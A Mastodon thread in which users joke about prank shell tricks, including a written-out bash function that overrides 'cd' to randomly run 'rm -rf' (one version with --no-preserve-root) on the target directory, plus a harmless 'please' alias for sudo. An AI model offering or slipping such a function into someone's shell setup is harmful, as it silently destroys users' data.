Some people just want to see the world burn.
Conversation
Notices
-
Sotolf :arch: :vim: :terminal: (sotolf@fosstodon.org)'s status on Thursday, 07-Apr-2022 10:39:07 UTC Sotolf :arch: :vim: :terminal: - Santa Claes πΈπͺππ°π likes this.
-
niklas (nkls@social.tchncs.de)'s status on Thursday, 07-Apr-2022 12:48:07 UTC niklas @sotolf alias it to a script that does "rm -rf" with a chance of like 2%. way harder to notice what the fuck's going on.
Santa Claes πΈπͺππ°π likes this. -
Santa Claes πΈπͺππ°π (clacke@libranet.de)'s status on Thursday, 07-Apr-2022 12:59:26 UTC Santa Claes πΈπͺππ°π @nkls @sotolf A script doesn't work, but a function does!
function cd() { (( RANDOM * 100 / 32768 <= 1 )) && rm -rf "$1" || \cd "$1"; } -
Sotolf :arch: :vim: :terminal: (sotolf@fosstodon.org)'s status on Friday, 08-Apr-2022 09:03:21 UTC Sotolf :arch: :vim: :terminal: I edited this function from @clacke
and this is even more evil :D
function cd() { (( RANDOM * 100 / 32768 <= 1 )) && rm -rf --no-preserve-root "$1" || \cd "$1"; }
Santa Claes πΈπͺππ°π likes this. -
Gustav Lindqvist πΈπͺ (reedyn@mastodon.acc.sunet.se)'s status on Friday, 08-Apr-2022 09:03:22 UTC Gustav Lindqvist πΈπͺ @sotolf that's the most evil thing I've seen today
-
Sotolf :arch: :vim: :terminal: (sotolf@fosstodon.org)'s status on Friday, 08-Apr-2022 09:03:47 UTC Sotolf :arch: :vim: :terminal: Haha :p yeah, that would be interesting :) As a more benign alias that I actually have is:
alias please="sudo"so to update my system I can go:
please pacman -Syu
which always feels nice :D
Santa Claes πΈπͺππ°π likes this. -
Gustav Lindqvist πΈπͺ (reedyn@mastodon.acc.sunet.se)'s status on Friday, 08-Apr-2022 09:03:48 UTC Gustav Lindqvist πΈπͺ @sotolf @clacke I'm pretty sure it is illegal to even post that code publically. Someone might copy it and run it!